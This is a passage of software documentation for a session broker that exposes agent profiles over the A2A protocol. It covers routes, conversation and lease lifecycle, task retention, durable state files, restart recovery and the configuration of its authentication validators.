documentation_urlstring(empty)Human-readable documentation for this agent.
icon_urlstring(empty)Icon for client UIs.
provider.organizationstring(required when provider is present)The organization behind the agent.
provider.urlstring(empty)The provider’s public URL.
default_input_modeslist of string(empty)Media types the agent accepts when a message does not say otherwise.
default_output_modeslist of string(empty)Media types the agent produces when a message does not say otherwise.
skillslist of object(required, ≥1)The public capability listing.
skills[].idstring(required)Stable skill identifier.
skills[].namestring(required)Human-readable skill name.
skills[].descriptionstring(required)What the skill does.
skills[].tagslist of string(empty)Free-form tags for discovery.
skills[].exampleslist of string(empty)Example prompts for this skill.
skills[].input_modeslist of string(empty)Per-skill override of default_input_modes.
skills[].output_modeslist of string(empty)Per-skill override of default_output_modes.

There are deliberately no keys for supportedInterfaces, capabilities, securitySchemes or securityRequirements. They are derived from what the broker actually serves and overwrite anything a card source carried:

  • supportedInterfaces — the profile’s own JSON-RPC and HTTP+JSON URLs, absolute, built from the origin below. JSON-RPC leads, because the list is ordered by preference and it has the widest client support today. tenant is left unset: profiles do not share an endpoint URL, so the path segment already routes, and a second routing signal would have to be reconciled with it.
  • capabilitiesstreaming, pushNotifications and extendedAgentCard all follow the set of operations the ingress actually implements. streaming is true (SendStreamingMessage is dispatched and the ingress starts a real instance to stream a turn from); pushNotifications and extendedAgentCard are false (see A2A routes).
  • securitySchemes / securityRequirements — derived from the broker’s auth: chain, one scheme and one requirement per validator, named with nexusauth’s chain-order names (static, jwks, jwks#2). Separate requirement entries are the accurate translation of a first-success chain: satisfying any validator suffices. A proxy_headers validator is deliberately not advertised — it accepts no client credential, so publishing a scheme would tell clients to send a header guaranteed to be ignored. With no auth: block both fields are omitted entirely.

The card’s origin comes from advertise_addr. A card must carry absolute URLs, and advertise_addr is already the key that answers “where do clients reach this broker” (ws://http://, wss://https://). With advertise_addr unset the origin falls back to listen_addr, but only when it names a dialable host: a wildcard bind (:8080, 0.0.0.0:8080) with profiles configured fails startup naming advertise_addr, because a card advertising http://:8080/agents/support/a2a would be a confidently wrong answer handed to every client that fetches it.

A2A routes (HTTP API, not YAML)

Each profile publishes three routes, namespaced under its own name so profiles cannot collide and nothing can shadow an existing broker route (none of which starts with /agents/):

RoutePurpose
GET/HEAD /agents/<profile>/.well-known/agent-card.jsonThe profile’s Agent Card. Served with ETag and Cache-Control: public, max-age=300; a conditional request with If-None-Match answers 304.
POST /agents/<profile>/a2aThe JSON-RPC 2.0 binding.
/agents/<profile>/a2a/v1/...The HTTP+JSON (REST) binding, including A2A’s custom verbs (/tasks/{id}:cancel).

The card is published per profile rather than at the origin’s well-known URI because specification §8.2 scopes that URI to an origin, which can name exactly one agent. A broker fronts several, so each card lives under its profile and advertises its own absolute URLs; a client handed a profile’s card URL — §8.2’s “Direct Configuration” — needs nothing else.

Every A2A route is behind the broker’s auth: guard, the card included. A refusal is the broker’s standard envelope ({"error":"authentication required"}, 401/403/503 with the usual WWW-Authenticate challenge) — the same middleware, and the same answer, that POST /claim gives. This differs from nexus.io.a2a, which serves its card unauthenticated: that plugin binds loopback by default, whereas the broker is an ingress whose standing policy is that even GET /binaries requires a credential. Clients are given a credential out-of-band before they fetch the card, which §8.2 explicitly sanctions. A broker with no auth: block serves the card to everyone, exactly as it serves every other route.

SendMessage, SendStreamingMessage and CancelTask are dispatched. A client’s message becomes the input payload a leased instance’s nexus.io.broker plugin turns into io.input, and everything the instance sends back is translated into A2A frames — see the session broker guide for the payload-by-payload mapping.

GetTask, ListTasks and SubscribeToTask are dispatched too, served from the broker’s durable task store rather than from memory — which is why they can be answered at all after the instance that ran a task has been released or the broker has restarted, precisely when a client asks. Every one of them is scoped to the authenticated principal and to the profile it was addressed to: a task belonging to another caller — or to another profile — is byte-for-byte the same refusal as one that never existed (TaskNotFoundError), because a distinct “exists but is not yours” answer is an existence oracle for ids the caller was never told. The profile is part of the key for the same reason it is part of a conversation’s: two profiles are two different public agents with two different configs, so ListTasks on one must not list the other’s conversations. ListTasks supports contextId, status and statusTimestampAfter filters, historyLength, includeArtifacts (default false) and keyset pagination via pageSize / pageToken; a pageToken this broker did not mint is an InvalidParamsError rather than a silent restart from the top.

capabilities.streaming on every profile card is true as a result, because it is derived from this operation set rather than configured — both SendStreamingMessage and SubscribeToTask are dispatched.

The push notification operations and GetExtendedAgentCard are still refused, with UnsupportedOperationError (JSON-RPC code -32004 with HTTP 200; REST 400 with a FAILED_PRECONDITION google.rpc.Status body) carrying detail: OPERATION_NOT_IMPLEMENTED to say “not yet” rather than “never”. Both matching card capabilities are false.

The routes authenticate, decode and validate whatever the operation: a malformed JSON-RPC envelope is still told it is malformed. A path naming no configured profile is a 404 in the binding’s own error shape, never a fallback to some default agent.

A message starts, reuses or resumes an instance, and the client is told none of it — see Conversation lifecycle below for the four cases, the failure states and the response latency each one implies.

A broker built without an instance provider answers InternalError carrying detail: INSTANCE_PROVIDER_NOT_WIRED, and logs a warning at boot naming the missing piece. That is not a state a shipped nexus-broker binary can be in — run() always installs the lifecycle when agents: is configured — but the refusal exists so an embedder that assembles the ingress itself gets a specific, actionable answer rather than a nil-pointer panic.

Conversation lifecycle (contextId)

An A2A client holds a contextId and nothing else. The broker holds leases. The client never learns the second thing exists, because the ingress owns the whole mapping between them:

contextId ──(durable index)──▶ engine session id ──(the /claim spawn spine)──▶ lease

The middle term is what makes it work. A lease is mortal — it is released when a conversation goes quiet and it dies when its instance crashes — but an engine session is a directory on disk that outlives every process that opened it. A message on a context whose instance is gone is therefore not an error to report; it is a session to resume.

What the broker knows about the contextIdWhat a message does
Nothing (new conversation, or no contextId at all — one is minted)Spawns an instance with no -recall, waits for dial-back and ready, then runs the turn.
A live instanceRoutes the turn to it. History is whatever the running engine holds — nothing is replayed.
A live lease already running the context’s session, that this process lost track of (a restart with a surviving instance)Adopts it rather than spawning a second engine over one session directory.
A session with no live lease (idle-released, crashed, or a restart)Spawns a new instance with -recall <session id> so the engine replays the history. The client is not told the instance ever stopped.

Continuity is keyed by (principal, profile, contextId), not by contextId alone. A2A lets a client choose its own contextId, so keying on it alone would let any caller name another caller’s conversation and be handed that session’s history. A colliding contextId under a different principal — or a different profile — resolves to the caller’s own binding instead: no leak, no oracle, and no overwrite of the real owner’s entry. With no auth: block every caller is the same anonymous principal, exactly as lease ownership already behaves.

The binding is durable but not permanent. It lives in <state_dir>/a2a-contexts.jsonl, which is capped at 4096 bindings with the oldest dropped first. A conversation whose binding was evicted — or any conversation at all, on a broker with no state_dir, once the process restarts — reads back as unknown, so the next message on it starts a fresh session and nothing tells the client its history was left behind.

The instance is NOT released at the end of a turn. It is an ordinary lease from the moment it is created: it appears in GET /leases, it is owned by the A2A caller, it counts against max_concurrent, POST /release tears it down, the crash watcher covers it, and idle_timeout reaps it when the conversation goes quiet. Every A2A message the broker sends to it resets the idle timer, exactly as a WebSocket client’s input does. Releasing per turn was rejected: it would make every message a cold boot.

A spawn that does not produce an instance settles the task, never hangs. The failure is answered as a terminal A2A task state rather than as a protocol error, because a client that asked an agent a question deserves an answer in the vocabulary it already speaks:

ConditionTask stateWhy
The profile’s binary is not in the registry; the context’s session was created by a different binary; the profile’s config file cannot be read or is emptyTASK_STATE_REJECTEDThe broker refused the request. Nothing was attempted, and the same message will fail the same way until an operator changes something.
The instance exited while booting, never signalled ready inside the ready timeout, or the broker is at capacityTASK_STATE_FAILEDThe spawn was attempted and did not come up. A retry may succeed.
A surviving instance is mid-reattach after a restartTASK_STATE_FAILEDSpawning now would put a second engine on one session directory. Retry once the instance has reconnected.

The terminal status carries a message explaining what happened without naming a lease, because a lease is not a concept an A2A client has.

Response latency. The two internal timeouts a /claim caller already waits on apply unchanged to the first message of a conversation and to the message that re-spawns one:

BoundValueEffect on an A2A response
Ready wait30sA cold spawn blocks the A2A request until the instance signals ready. In the worst case the client waits 30s and then receives a FAILED task.
Session-report grace5sAfter ready, the broker waits up to 5s for the instance’s session id. It is not on the answer path for the turn: a report that never arrives only costs the conversation its durable binding, so a later resume starts a fresh session rather than replaying.

Both are constants, not config keys: they bound the broker’s own handshake with a process it started, not a policy an operator tunes. A second message on a live conversation pays neither — it goes straight to the running instance — which is the whole reason the instance is kept alive between turns.

Serial task queueing

A conversation runs one task at a time. A Nexus instance runs one agent loop, and two input payloads sent to it while a turn is in flight do not produce two turns — they interleave into whatever the loop does next. So a second message on a contextId whose task is still live is accepted and queued: it sits in TASK_STATE_SUBMITTED, with nothing sent to any instance, until the task ahead of it is terminal, and then moves to TASK_STATE_WORKING.

TASK_STATE_SUBMITTED is the honest rendering — §3.1.1 defines it as “accepted, not yet started”, which is exactly a queued turn. A queued task is a complete task: it has an id, it can be read with GetTask, streamed with SubscribeToTask, and cancelled with CancelTask.

The queue is keyed by (caller, profile, contextId) — the same key the instance is filed under — so two conversations never wait on each other, and two principals using the same contextId get two instances and two queues.

It advances on exactly one event: a task reaching a terminal state. Every way a turn can end funnels through there, so the queue survives things going wrong:

What happensWhat the queue does
The turn completes, fails or is cancelledThe next task is promoted and starts.
The instance is released while idle, or crashesThe active task settles at FAILED; the next task is promoted and acquires a fresh instance, which resumes the conversation from its session.
A queued task is cancelled before it startsIt leaves the queue; nothing else is disturbed and the task behind it still runs.
The active task parks at TASK_STATE_INPUT_REQUIREDIt keeps the queue: the agent loop is blocked inside ask_user, so starting the next turn would send input to an instance that cannot read it. a2a.tasks.input_timeout is what stops that being a deadlock — see below.

A promoted turn is detached from the request that submitted it: a client that hangs up while queued has not withdrawn its message, and can read the result with GetTask or reattach with SubscribeToTask.

A2A task retention (a2a.tasks)

Every A2A task the broker runs is recorded in <state_dir>/a2a-tasks.jsonl, in the same append-and-compact shape as the lease journal and the A2A context index (a2a-contexts.jsonl). One mechanism, one failure policy, one thing for an operator to know about a state_dir — a database for this one file was rejected on those grounds.

The record is what makes GetTask, ListTasks and SubscribeToTask answer after the instance is gone. It carries the task’s identity, its current status and status message, its response artifact and a bounded trail of the messages the client sent, keyed by owner first so a task is not reachable without a principal, and scoped to the profile it was addressed to.

With no state_dir the store is memory-only: every read still answers for the life of the process, and nothing survives a restart. The reads refusing would be a far worse degradation than losing them across a restart, which is what such a broker has already chosen for its leases.

A task left in flight by a stopped broker is settled at TASK_STATE_FAILED when the store opens, with a status message saying the broker stopped. Leaving it as it stood would show a client WORKING for ever, and would make the record immortal — only terminal tasks are evictable, so a crash loop would accumulate records that count against the cap and push real tasks out of it.

Retention is load-bearing, not housekeeping. A broker records a task for every turn every client ever runs, so an unbounded policy would grow with traffic rather than with any one conversation:

BoundValueConfigurableWhy this number
a2a.tasks.ttl24hyes ("0s" disables)A task is only useful to a client that still holds its id, and a client that has been away for a day has restarted, retried or given up. A day is also far longer than any plausible reconnect window, so the TTL never expires a task somebody is still following. It matches nexus.io.a2a’s default deliberately: the same client talking to the same agent must not find its history disappearing on a different schedule depending on whether a broker is in front of it.
a2a.tasks.max_per_context50yes (0 disables)50 turns of readable history per conversation is far more than a client polls back over. It is lower than nexus.io.a2a’s 200 because a standalone listener serves exactly one context — its per-context cap is also its total — whereas a broker holds every conversation at once, so the number multiplies.
Total tasks retained2048noThe backstop that makes the store’s footprint statable: the per-context cap alone bounds nothing when the number of contexts is unbounded. Eviction takes the oldest terminal records first.
Stored text per artifact or message16 KiBnoThe store’s real growth term. A turn’s answer is unbounded and the record is rewritten on each transition, so an uncapped answer would be written several times at whatever size it happened to be. 16 KiB is roughly four thousand words. It is not a config key because it is a property of this storage substrate rather than a deployment choice.

Two consequences worth stating plainly:

  • Only the stored copy is truncated. A client attached while the turn ran received the whole answer; a truncated stored copy carries a marker saying so, so a later GetTask cannot mistake an excerpt for the whole.
  • Streamed deltas are never stored. A record is written only when a task changes state or publishes an artifact, so a turn that streams thousands of chunks writes the same handful of lines a one-word turn does. The store scales with the shape of a turn, not its volume.

a2a.tasks.input_timeout (default 15m, "0s" disables) is the third knob and is not about storage at all: it bounds how long a task may sit at TASK_STATE_INPUT_REQUIRED. A parked task holds its leased instance and its conversation’s serial queue, because the agent loop that asked the question is blocked inside ask_user. On expiry the task is driven to TASK_STATE_FAILED — a real terminal transition that closes every attached stream and frees the queue — and the instance is sent a cancellation so its loop unblocks. Fifteen minutes is chosen against a human: a question routed to a person has to survive being paged, read, thought about and answered. Setting "0s" removes the deadline, and with it the guarantee that a queue behind an unanswered question ever moves.

Lease durability (state_dir)

Lease state is live-process bookkeeping: which instances this broker spawned, who claimed them, and what session each is running. Without state_dir it lives only in memory, so a broker restart loses all of it and the nexus processes it spawned become orphans nobody can account for. Setting state_dir makes it durable.

This is not session continuity — that is already solved by ~/.nexus/sessions/<id>/ plus -recall, and a released instance’s session directory is intact and resumable whether or not state_dir is set.

state_dir: "~/.nexus/broker"     # per-broker; never shared between brokers
broker_id: ""                    # optional; generated + persisted when empty

Format. <state_dir>/leases.jsonl is an append-only JSONL journal, one JSON object per line. There is no database and no migrations — the broker is a standalone binary, not an engine plugin, so the per-plugin SQLite storage is not available to it. A record is written when a lease is minted (lease-created), when its pid or session id first becomes knowable (lease-updated, which supersedes the earlier record for the same lease_id), and when it is torn down (lease-released). The release record is written from the single point all three teardown reasons converge on, so a manual POST /release, an idle sweep and a crash are all recorded.

Each record carries lease_id, owner (the claiming principal’s id, tenant and scopes), session_id, binary, pid, broker_id, advertise_addr — verbatim as configured, so a record round-trips what is in broker.yaml — and created_at / released_at / reason.

binary is the binaries entry name the instance was spawned from — the name, not the path, so the record still identifies the variant after the entry is repointed at a new build. It is omitted when empty, which is what a journal written by a broker predating the field looks like; such a record still loads, and an absent binary means not recorded, never “the binary named empty string”. The lease journal’s copy is only good while the lease is live — a released lease is dropped by compaction — so the durable mapping lives in a separate file, described next.

No secret is ever written. Not the lease’s per-spawn secret, not a client WebSocket ticket, not a bearer token. The owner’s raw claim set is deliberately not persisted either — id, tenant and scopes are what ownership and scoped listing need, and the full claim set stays in the broker’s slog audit trail. (The spawn-key file beside the journal is a derivation key, not a credential: presenting its contents to WS /instance authenticates nothing. See Restart recovery.)

Growth is bounded by compaction, in two passes over the same rewrite: the journal is compacted when it is opened, and again every 512 appends. A compaction rewrites the file to hold exactly the leases that are still live, one record each, via a temp file and an atomic rename — so a crash mid-compaction leaves the previous journal intact. At any moment the file holds at most (live leases + 512) records, however many leases have come and gone.

Durability. Every append is fsynced before it returns, and a compaction fsyncs the temp file before the rename and the containing directory after it. The journal therefore survives a power loss or a hard reset, not only kill -9: rename is atomic but not durable, and an unsynced tail is exactly where the record carrying an instance’s pid lives — losing it would leave the next boot closing out a lease whose process is still running. The barrier is unconditional rather than restricted to the pid-bearing record; the cost is roughly three fsyncs per lease lifetime (minted, pid/session recorded, released), which is why singling out one record kind was not worth the invariant. The session-binaries.jsonl and a2a-contexts.jsonl indexes are not fsynced: both are best-effort, an unknown key means no opinion, proceed, and losing their tail degrades to the behaviour that predates them rather than to a wrong answer.

Failure handling. A journal write or fsync that fails is logged and otherwise ignored: it never fails a claim or a release, because durability must not become a new way for the broker to refuse service. A record that was being written when the broker was killed leaves a torn final line; the reader skips it with a warning and keeps every complete record before it, and the rewrite-on-open truncates it away. An unreadable or malformed line anywhere in the file is skipped the same way rather than failing the whole file.

Multi-broker cooperation is not implemented: no broker reads another’s journal, there is no shared store, and there is no routing. broker_id and advertise_addr are stamped on every record now so that a future shared backend needs no data migration.

Session → binary index (session-binaries.jsonl)

<state_dir>/session-binaries.jsonl records which binaries entry served each engine session, so a resume can be checked against the build that created the session. It is a separate file from the lease journal on purpose: the journal is compacted down to the leases that are still live, and a resume always arrives after the original lease was released, so a binding kept only there would be gone precisely when it is wanted.

Format. Append-only JSONL, one object per line, with three fields — session_id, binary (the entry name, never the path) and at (when the pairing was last recorded, used only for pruning). A later line for the same session_id supersedes an earlier one. No secret is ever written, for the same reasons as the lease journal.

When a line is written. At claim time for a resume, where the session id arrives in the request body, and on the session-id report for a new session, where the id is not knowable any earlier. Re-recording an unchanged pairing does not append — a session resumed many times costs one line, not one per resume. An empty binary is never written: empty means not recorded.

Growth is bounded by an entry cap of 4096 bindings, applied when the file is rewritten — on open, and again every 256 appends — via a temp file and an atomic rename. A cap is required here and compaction alone would not be enough: nothing ever retires a binding (outliving its lease is the whole point), so without one the file would grow by a line per distinct session forever. When the cap is exceeded the oldest bindings are dropped.

It is best-effort, and that is deliberate. An unknown session is an ordinary answer meaning no opinion, proceed — never a mismatch. A session predating this file, a session whose binding was pruned, and a broker running without a state_dir all resume exactly as they did before the index existed. What a found binding is enforced as on a claim is described under Resume inherits the recorded binary.

Failure handling. Malformed, torn or partially-written lines are skipped with a warning and every good line before them is kept; the rewrite-on-open truncates the damage away. A corrupt index never prevents the broker from booting. Unlike the lease journal, an index that cannot be opened at all is not a boot failure either — it logs a WARN and the broker runs with the index off, because refusing to serve would trade an advisory check for an outage. A write that fails is logged and otherwise ignored: it never fails a claim.

A2A context → session index (a2a-contexts.jsonl)

<state_dir>/a2a-contexts.jsonl records which engine session serves each A2A conversation, so a message on a contextId whose instance is gone re-spawns onto the same session with -recall instead of starting a new one. It is written only when agents: is configured, and it is a third file rather than part of either of the two above: the lease journal is compacted down to live leases, and the session → binary index is keyed by session id — precisely the thing an A2A client does not know.

Format. Append-only JSONL, one object per line: owner_id (the principal; omitted for the anonymous owner every caller is when no auth: block is configured), profile, context_id, session_id and at. A later line for the same (owner_id, profile, context_id) triple supersedes an earlier one. No secret is ever written, for the same reasons as the lease journal.

The key is the triple, not the contextId. A2A lets a client choose its own contextId (§3.4), so keying on it alone would let any caller name another caller’s conversation and be handed that session’s history. A colliding contextId under a different principal — or a different profile — resolves to the caller’s own binding: no leak, no oracle, and no overwrite of the real owner’s entry.

When a line is written. On the instance’s session-id report, which is the earliest moment the session id exists. An empty session_id is never written: empty means not recorded. Re-recording an unchanged pairing does not append, so a conversation resumed many times costs one line.

Growth is bounded by an entry cap of 4096 bindings, applied when the file is rewritten — on open and every 256 appends — via a temp file and an atomic rename. The number matches the session → binary index deliberately: the two are populated by the same events at the same rate (one A2A conversation is one engine session), so a broker that outgrows one has outgrown both. When the cap is exceeded the oldest bindings are dropped, ordered by when each was last recorded.

Eviction is lossy, by design, and nothing warns anybody. A pruned binding reads back as unknown, and unknown means “new conversation”: the next message on that contextId spawns a fresh session and the client is told nothing — it simply finds the agent has forgotten the conversation. That is the accepted cost of a key space with no retirement event; nothing ever marks a conversation as finished, because being resumable later is the whole point of one. The cap is generous for that reason, and the degradation is always to forgetting, never to answering with the wrong session. A deployment that needs a conversation to survive indefinitely should not rely on this file: keep the engine session id the broker reported and address it directly.

Failure handling. Malformed, torn or partially-written lines are skipped with a warning and every good line before them is kept; the rewrite-on-open truncates the damage away. An index that cannot be opened at all is not a boot failure — it logs a WARN and continuity falls back to the life of the process, because refusing to serve would trade resumability for an outage. A write that fails is logged and never fails the message that produced it; the cost is that a later resume starts fresh.

With no state_dir there is no index at all. A conversation is then resumable only for as long as its lease lives — the same bargain such a broker has already made for its leases.

Restart recovery (reattach_window)

With state_dir set, a restarting broker reclaims the instances it left running instead of orphaning them. Recovery runs at boot, before any route is served, because a surviving instance is already retrying its dial-back and every attempt made before its lease is back in the registry is refused as unknown.

For each live record in the journal, exactly one thing happens:

Record stateOutcome
broker_id is not this broker’sLeft alone. Not adopted, not killed, not closed out — the broker has no standing over a lease it cannot identify as its own. state_dir is per-broker, so this only happens if broker_id changed under a directory.
No pidClosed out (lease-released, reason restart recovery: no process was ever spawned). The broker died between minting the lease and exec’ing its instance.
pid is not aliveClosed out (reason restart recovery: process is gone).
pid is aliveRestored: the lease comes back with its original owner, session_id, pid and created_at, and re-holds its capacity slot so max_concurrent stays honest and the broker cannot over-admit.

A restored lease is inactive — it reads as spawning on GET /leases — until an instance dials /instance and presents both the correct lease id and the correct spawn secret. Once it does, the lease is fully ordinary: idle sweeping, crash watching, ownership checks and POST /release all apply unchanged.

Liveness is not identity, which is why a restored lease is not handed to whoever dials in naming it: the pid recorded before the restart may have been recycled to an unrelated process, and a signal-0 probe (the portable check on Linux and macOS) cannot see the difference. Admitting a dialer on a lease id alone would hand a stranger’s process a client’s session. The spawn secret settles it, and it is required on every registration — restored or not, auth: block or not (see Instance dial-back authentication).

How the secret survives when it is never written down. The per-spawn secret is derived, not stored: HMAC-SHA256(<state_dir>/spawn-key, lease_id). The key file is 32 random bytes, generated on first boot, mode 0600 inside the 0700 state_dir. What is on disk is a key, not a credential — its contents authenticate nothing on their own, it is not addressed to any lease, and the journal beside it still contains no secret. The trade-off is explicit: anyone who can read spawn-key and knows a live lease id can impersonate that lease’s instance — but that reader is already running as the broker’s uid, and can therefore read the secret out of the child’s environment or spawn instances directly. Losing or rotating the key is safe, just lossy: derived secrets stop matching, restored leases fail to reattach, and the reaper kills their instances and frees their slots. The broker logs a WARN if the key file is unreadable as a key (it regenerates one) or is readable beyond its owner.

Nothing reattaches forever. A restored lease that no instance registers against within reattach_window is reaped through the same teardown as a manual release, so the shutdown → grace → force-kill sequence and the slot accounting stay in one place. Because a reaped lease has no dial-back socket to receive the protocol shutdown frame on, its process is signalled SIGTERM (which the engine handles as a clean shutdown that persists the session) and escalated to SIGKILL if it does not exit.

Boot is never failed by recovery. An empty, absent, unreadable or corrupt journal is a clean cold start with a WARN. (A state_dir that cannot be opened at all is still fatal — that is a misconfiguration, not lost data.) With state_dir unset, boot is byte-for-byte what it was before recovery existed.

Authentication (auth:)

The auth: block configures an ordered chain of credential validators (pkg/nexusauth). Six routes are authenticated by middleware — POST /claim, POST /release/{lease_id}, GET /leases, POST /ticket/{lease_id}, GET /binaries and GET /metrics. GET /healthz is registered outside the guard and always answers 200 with no credential, because a load balancer or container probe has none to present.

GET /metrics is the one route that layers a second check on top of the middleware: it additionally requires auth.admin_scope. See GET /metrics.

WS /lease/{lease_id}, the per-lease client socket, is not behind that middleware but does use the same validator chain: it resolves the caller’s credential itself and then enforces lease ownership before the WebSocket upgrade — see Lease ownership below. It stays off the middleware because it accepts either an Authorization: Bearer header or a single-use ?ticket= query parameter, and a bearer-header wrapper cannot express the second. See WS /lease/{lease_id} for the two credentials and their precedence. The WS /instance dial-back is not covered by this block at all: it authenticates with a spawn secret.

auth:
  admin_scope: "nexus.broker.admin"   # optional; "" means nobody is an operator
  validators:          # ordered; the first validator that accepts wins
    - type: static
      tokens:
        - token: "..."          # bearer token, compared in constant time
          principal: "ci-runner"  # required: the identity this token acts as
          tenant: "acme"          # optional
          scopes: "a b"           # optional: string (space/comma separated) or list
    - type: jwks            # OIDC JWTs verified against the issuer's published keys
      issuer: "https://id.example.com/"
      jwks_url: "https://id.example.com/.well-known/jwks.json"
      audience: "nexus-broker"
      algorithms: ["RS256"]
      principal_claim: sub
    - type: introspect      # opaque tokens verified by asking the issuer (RFC 7662)
      introspection_url: "https://id.example.com/oauth2/introspect"
      client_id: "nexus-broker"
      client_secret_env: "NEXUS_BROKER_INTROSPECTION_SECRET"
      principal_claim: sub
    - type: proxy_headers   # identity established by a fronting authenticating proxy
      trusted_proxy_cidrs: ["10.4.0.0/16"]   # required, and the entire security model
      principal_header: X-Forwarded-User
KeyTypeDefaultDescription
auth.admin_scopestringnexus.broker.adminThe scope a validated credential must carry to be treated as a broker operator. It widens GET /leases from “the caller’s own leases” to the whole registry plus the capacity aggregates, and it is required to scrape GET /metrics — and nothing else: POST /release/{lease_id} and WS /lease/{lease_id} stay strict principal-ID ownership, so a leaked operator credential cannot tear down or hijack another principal’s session. Comparison is exact and case-sensitive. Set it to "" (or admin_scope: with no value) to mean no caller is an operator, which makes GET /leases caller-scoped for everybody and refuses GET /metrics to everybody. Irrelevant while auth is disabled — both endpoints are then unrestricted for all callers.
auth.validatorslist[]Validators to try, in order; the first one that accepts the request wins, so cheap validators belong first. An empty or absent list means auth is disabled. Unknown keys are rejected at every level.
auth.validators[].typestringrequiredValidator implementation: static (a table of shared tokens), jwks (OIDC JWTs verified against an issuer’s published key set), introspect (opaque tokens verified by calling the issuer’s RFC 7662 introspection endpoint), or proxy_headers (an identity a fronting authenticating proxy already established, honoured only for peers inside a CIDR allowlist).
auth.validators[].principal_claimstring""Which claim becomes Principal.ID. Parsed for every entry; required for jwks and introspect, accepted and ignored by static and proxy_headers (neither has a claim set — proxy_headers uses principal_header instead).
auth.validators[].tenant_claimstring""Which claim becomes Principal.Tenant. Optional for jwks and introspect; accepted and ignored by static and proxy_headers.
auth.validators[].scopes_claimstring""Which claim becomes Principal.Scopes. Optional for jwks and introspect; accepted and ignored by static and proxy_headers.
auth.validators[].tokenslistrequired for staticToken table for a static validator. At least one entry; duplicate token values are a config error rather than a last-one-wins surprise.
auth.validators[].tokens[].tokenstringrequiredThe bearer token value, matched against Authorization: Bearer <token> with a constant-time compare.
auth.validators[].tokens[].principalstringrequiredThe principal id a request presenting this token acts as. Must be non-empty — an empty principal would behave as a wildcard in later ownership checks.
auth.validators[].tokens[].tenantstring""Optional tenant/workspace id carried on the principal.
auth.validators[].tokens[].scopesstring or list[]Optional granted scopes. A string is split on whitespace ("a b"["a","b"]); a list is taken verbatim. Scope comparison is case-sensitive.

Because static tokens are written inline, a broker.yaml carrying them is a secret: restrict its file permissions accordingly.

The jwks validator

type: jwks verifies an RFC 7515 JWS bearer token against the signature keys an OIDC issuer publishes at its JWKS endpoint, validates exp / nbf / iss / aud, and maps the verified claims onto the Principal. Signature and standard-claim verification use github.com/golang-jwt/jwt/v5; the key fetch, cache and rotation logic is Nexus’s own.

It is generic OIDC with no provider-specific defaults. Nexus does not know which claim your issuer puts a stable subject in, so principal_claim is required and there is no fallback guess — a validator that silently defaulted to sub for an issuer that mints a different stable identifier would bind lease ownership to the wrong field.

auth:
  admin_scope: "nexus.broker.admin"
  validators:
    - type: jwks
      # Required. Compared exactly against the token's `iss` claim.
      issuer: "https://id.example.com/"

      # Required. The issuer's key set endpoint. Must be https, except to a
      # loopback host. There is no OIDC discovery — see below.
      jwks_url: "https://id.example.com/.well-known/jwks.json"

      # Required. A token matching any listed audience passes.
      audience: "nexus-broker"
      # …or several:
      # audience: ["nexus-broker", "nexus-broker-staging"]

      # Optional. Asymmetric algorithms only.
      algorithms: ["RS256"]

      # Claim mapping. principal_claim is required.
      principal_claim: sub
      tenant_claim: org_id
      scopes_claim: scope

      # Optional cache and transport tuning.
      cache_ttl: 10m
      negative_cache_ttl: 1m
      http_timeout: 5s
      clock_skew: 1m
KeyTypeDefaultDescription
auth.validators[].issuerstringrequiredThe exact value the token’s iss claim must carry. A token with no iss, or a different one, is rejected. Compared as an opaque string, not as a URL, so it matches whatever your issuer actually mints — trailing slash included.
auth.validators[].jwks_urlstringrequiredThe issuer’s JWKS endpoint. Must be an absolute https:// URL; plain http:// is accepted only for a loopback host (127.0.0.1, ::1, localhost), for local development and sidecar-fronted deployments. The key set is the entire basis for trusting a token, so fetching it over a rewritable channel would let an on-path attacker substitute a signing key and mint any principal. Userinfo in the URL is rejected. Validated at load, so a typo fails the boot, not the first claim.
auth.validators[].audiencestring or listrequiredAcceptable aud values; a token carrying any of them passes. A lone string is one audience and is not split on whitespace (unlike scopes), because an audience is a single opaque identifier and splitting would silently widen what the broker accepts. A token with no aud is rejected.
auth.validators[].algorithmslist["RS256"]The JWS algorithms accepted at verification time. The token header’s alg is never trusted: it is checked against this list before any key is resolved, and again by the JWT library. Allowed values are RS256/RS384/RS512, PS256/PS384/PS512, ES256/ES384/ES512. none and the HMAC family (HS256/HS384/HS512) are not configurable at all — allowing a symmetric algorithm against a published key set is the algorithm-confusion attack, so it is a config error rather than a footgun.
auth.validators[].cache_ttlduration10mHow long a fetched key set is considered fresh. A kid already in the cache is always served from memory with no network round trip — verification sits on POST /claim and on the WebSocket connect path, so a per-request fetch would put the issuer’s latency in front of every session. Past the TTL the request is still served from cache and a refresh runs behind it. 0 means the default.
auth.validators[].negative_cache_ttlduration1mHow long a kid that could not be resolved is remembered as unresolvable, and the minimum interval between on-demand key-set fetches. Both bounds matter: the per-kid half stops a repeated forged token from re-fetching, and the global half stops a flood of tokens bearing distinct invented kids from amplifying one-to-one into issuer traffic. It is also the recovery interval — a genuine key rotation that arrives during the window is picked up when it expires, with no restart. 0 means the default.
auth.validators[].http_timeoutduration5sBounds a single JWKS request, and is the worst-case latency an unreachable issuer can add to a cold claim. A hanging identity provider cannot hang a claim. 0 means the default.
auth.validators[].clock_skewduration1mLeeway applied to exp and nbf, absorbing clock drift between the issuer and the broker. Capped at 5m: a large skew silently extends the life of every token the issuer ever minted, so a mistyped value fails the boot. Set clock_skew: 0s for no leeway at all.

Durations are Go duration strings (10m, 30s, 1h30m). A bare number is a config error — 600 reads as ten minutes to a human and six hundred nanoseconds to Go, and guessing either would be worse than saying so.

Key rotation and JWKS failures. A kid the cache has not seen triggers one synchronous fetch, which is what makes rotation work without a restart: a token signed with a key added to the JWKS after the cache was populated verifies on its first presentation. When the endpoint is unreachable, behaviour is deliberately asymmetric — a key already in the cache keeps verifying (that is the point of the cache), but a kid that is not cached is denied. An endpoint the broker cannot reach cannot vouch for a key it does not hold, so the failure mode is a refusal and never an allow.

Claim mapping. principal_claimPrincipal.ID, tenant_claimPrincipal.Tenant, scopes_claimPrincipal.Scopes. The scopes claim accepts either a space-delimited string (the OAuth 2.0 scope convention) or a JSON array of strings. The full verified claim set is carried on the principal for audit regardless of which claims are mapped. A token whose principal_claim is absent, empty, or not a scalar is rejected: an empty Principal.ID would compare equal to the anonymous owner and to every other empty-id principal, which is a privilege-escalation path rather than a cosmetic gap.

Two further rejections worth knowing about. A token with no exp is rejected rather than treated as valid forever. And when the issuer publishes an alg on a key (RFC 7517 §4.4), that declaration is enforced: a key published for RS256 will not verify an RS512 token even if both algorithms are in your algorithms list.

